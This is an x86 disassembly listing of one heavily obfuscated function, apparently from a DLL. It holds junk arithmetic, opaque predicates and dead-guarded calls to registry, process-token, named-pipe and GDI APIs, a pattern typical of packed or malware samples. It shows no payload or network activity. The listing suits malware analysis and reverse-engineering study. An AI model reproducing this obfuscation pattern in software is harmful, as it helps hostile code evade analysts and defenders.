inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100309bd
xor eax, eax
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x10030a88
mov dword [ebp - 0x44], 0xe11a796d
mov dword [ebp - 0x20], eax
jmp 0x10030a03
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc14], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100309f2
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x480]
add eax, dword [ebp - 0x480]
jne 0x10030a6f
mov eax, dword [ebp - 0x478]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xc0c]
test eax, eax
mov dword [ebp - 0xc10], eax
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x40]
jge 0x10030a48
mov edx, ebx
cmp dword [ebp - 0x58], eax
jne 0x10030a4a
mov edx, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
sete cl
add ecx, 0x3c2deb9e
jne 0x10030a5f
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x480], ecx
mov dword [ebp - 0x44], 0xdf0442e1
mov eax, dword [ebp - 0x480]
dec dword [ebp - 0x1c]
push 0
pop eax
jns 0x100309e6
mov dword [ebp - 0x38], 0x82062403
mov dword [ebp - 0x28], 0xf0a64418
mov dword [ebp - 0x20], 0x1c2a9118
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10030abf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf0], 0x185a1fa1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10030aa6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030adf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1f4], 0x3a5d8d34
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030ac7
xor eax, eax
mov dword [ebp - 0x38], 0xffffffed
jmp 0x10030b28
mov dword [ebp - 0x1c], 0xa2961c0f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10030b11
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1074], 0x6ff5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030af8
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10030b1f
dec dword [ebp - 0xf0]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x10030b16
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe4
jl 0x10030ae8
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10030bab
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xf0]
cmp eax, 0x47aa2967
setne cl
xor edx, edx
neg ecx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setle dl
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
neg edx
sbb edx, edx
neg edx
cmp edx, 6
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0xec]
cmp edx, eax
setle cl
cmp dword [ebp - 0x38], ecx
jl 0x10030bab
xor eax, eax
mov ecx, eax
jmp 0x10030bad
mov ecx, ebx
mov eax, dword [ebp - 0xe4]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xf0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
or eax, 0xffffffff
cmp ecx, eax
jne 0x10030bd1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0xec]
setge dl
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, 0xce094bf7
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xec]
mov eax, dword [ebp - 0x28]
imul edx, eax
mov eax, dword [ebp - 0xf0]
cmp edx, eax
mov eax, dword [ebp - 0xe8]
setl cl
add eax, ecx
cmp eax, 0x98fe
je 0x10030d69
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x10030d7d
mov dword [ebp - 0x18], ebx
xor ecx, ecx
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x4c], 0x9bb10da9
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xe8]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xe8]
neg eax
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x28]
setne cl
neg ecx
cmp ecx, dword [ebp + eax*4 - 0xe8]
jge 0x10030c98
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1f4], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xe8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edi, edi
cmp ecx, dword [ebp - 0xe4]
jl 0x10030d03
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xe8], edi
mov eax, ebx
jne 0x10030d05
mov eax, edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], 0x8d8
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x28]
add ecx, 3
mov dword [ebp + eax*4 - 0xe4], ecx
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10030d58
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
dec dword [ebp - 0x28]
jns 0x10030c52
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
jmp 0x10030d7b
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10030d7b
push 0x1135
push eax
call edi
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030da0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x498], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030d88
xor eax, eax
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x48], 0xfffc
mov dword [ebp - 0x20], 0x25b0d6b
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], 0xc6a332e5
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], 0x2d49a337
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10030df2
push 5
pop edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3a0], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030dde
xor eax, eax
mov dword [ebp - 0x38], 0xa
jmp 0x10030e62
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], eax
jmp 0x10030e25
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10030e22
push eax
push 0x1b25
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff3
jge 0x10030e0a
mov eax, dword [ebp - 0x38]
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
sub edx, eax
sub edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
push 0
setg dl
xor ecx, ecx
cmp eax, edx
pop eax
setne cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffea
je 0x10030dfb
xor eax, eax
cmp dword [ebp - 0x39c], eax
je 0x10030e75
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x20], ebx
jl 0x10030e92
cmp eax, dword [ebp - 0x39c]
je 0x10030ea6
mov eax, ebx
cmp eax, dword [ebp - 0x39c]
je 0x10030ea6
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x398], eax
je 0x10030ea8
mov ecx, ebx
xor eax, eax
cmp ecx, 0x27baed96
push 5
setg al
pop ecx
sub eax, ecx
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp eax, 0xfffffff6
setge cl
xor eax, eax
cmp eax, ecx
mov eax, dword [ebp - 0x48]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x48]
je 0x10030ef3
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x39c], eax
je 0x10030f0e
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x14], 0x33b115e5
jle 0x10030f1c
cmp dword [ebp - 0x28], eax
je 0x10030f1e
mov eax, ebx
mov dword [ebp - 0x38], eax
xor edx, edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
imul edx, dword [ebp - 0x40]
sub edx, 0x696a009
jne 0x10030f46
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x398], eax
je 0x10030f48
mov ecx, ebx
mov eax, dword [ebp - 0x14]
sub ecx, eax
sub ecx, dword [ebp - 0x14]
mov eax, 0x87d17319
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
xor eax, eax
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x498], eax
jne 0x1003101e
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x498]
xor eax, eax
cmp dword [ebp - 0x94], eax
jne 0x10030fd5
mov ecx, dword [ebp - 0x498]
xor edx, edx
mov eax, dword [ebp - 0x94]
cmp ecx, eax
setle dl
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
neg ecx
sbb ecx, ecx
or eax, 0xffffffff
inc ecx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x490]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
add eax, ecx
je 0x10030fd7
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10030ff7
mov ecx, eax
cmp dword [ebp - 0x498], eax
je 0x10030ff9
mov ecx, ebx
mov eax, dword [ebp - 0x490]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
neg ecx
cmp ecx, 0x55e3164c
jne 0x1003101e
xor eax, eax
jmp 0x10031020
mov eax, ebx
push 2
mov dword [ebp - 0x94], eax
pop esi
xor eax, eax
mov dword [ebp - 0x28], 0x7df2f4a8
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1003105e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x114], 0xff0ea75c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10031045
xor eax, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x10031151
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
neg edx
mov ecx, dword [ebp + eax*4 - 0x114]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x114]
add eax, edx
add ecx, eax
jne 0x100310d2
mov eax, dword [ebp - 0x28]
xor edi, edi
cmp dword [ebp + eax*4 - 0x114], edi
jne 0x100310a4
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x100310a6
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x114]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
imul edx, dword [ebp + eax*4 - 0x114]
mov eax, edi
test edx, edx
je 0x100310d4
mov eax, ebx
mov dword [ebp - 0x110], eax
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x114]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x114]
cmp eax, 0x52e4a6b2
mov eax, dword [ebp - 0x28]
sete cl
imul ecx, dword [ebp + eax*4 - 0x114]
xor eax, eax
add ecx, dword [ebp - 0x114]
je 0x1003113a
cmp dword [ebp - 0x110], eax
je 0x1003113a
mov eax, ebx
mov dword [ebp - 0x110], eax
dec dword [ebp - 0x28]
jns 0x1003106a
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x2c], 0x8f69f7fd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jl 0x10031191
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003117b
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031182
mov eax, ebx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1a
push 0
pop eax
jge 0x10031168
or esi, 0xffffffff
mov dword [ebp - 0x14], esi
jmp 0x100311ca
cmp byte [ebp - 0x21], 0
je 0x100311c7
push eax
push 0xfbc
push 0x2271
push 0x1fd2
push 0x12e5
push 0x1244
push 0x220b
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x16
mov byte [ebp - 0x21], al
jle 0x10031199
mov dword [ebp - 0x18], 0x2e8588d0
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x1c], 0x2a67
push 0xfffffffffffffffe
mov dword [ebp - 0x4c], 0x56d20a2e
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x40], 0xb00b7228
mov dword [ebp - 0x20], eax
jmp 0x10031218
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2f4], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031207
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x3c]
test eax, eax
jne 0x10031231
mov esi, eax
cmp dword [ebp - 0x2f4], eax
je 0x10031233
mov esi, ebx
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
cmp eax, 2
mov eax, dword [ebp - 0x1c]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
jne 0x1003126c
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x2f4]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setle dl
add edx, dword [ebp - 0x54]
cmp edx, 0xfffc
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, ebx
mov eax, dword [ebp - 0x18]
setle cl
add eax, ecx
imul eax, esi
test eax, eax
jne 0x100312a7
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp byte [ebp - 0x21], al
je 0x10031306
mov dword [ebp - 0x5c], 0x1f7e2799
mov dword [ebp - 0x5c], eax
jmp 0x100312fb
cmp dword [ebp - 0x5c], 0xfffffffa
jne 0x100312d0
mov dword [ebp - 0x20], 0x2c70bb74
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], 0xe6fc6088
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003133a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xde8], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031322
push 2
pop esi
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1003138b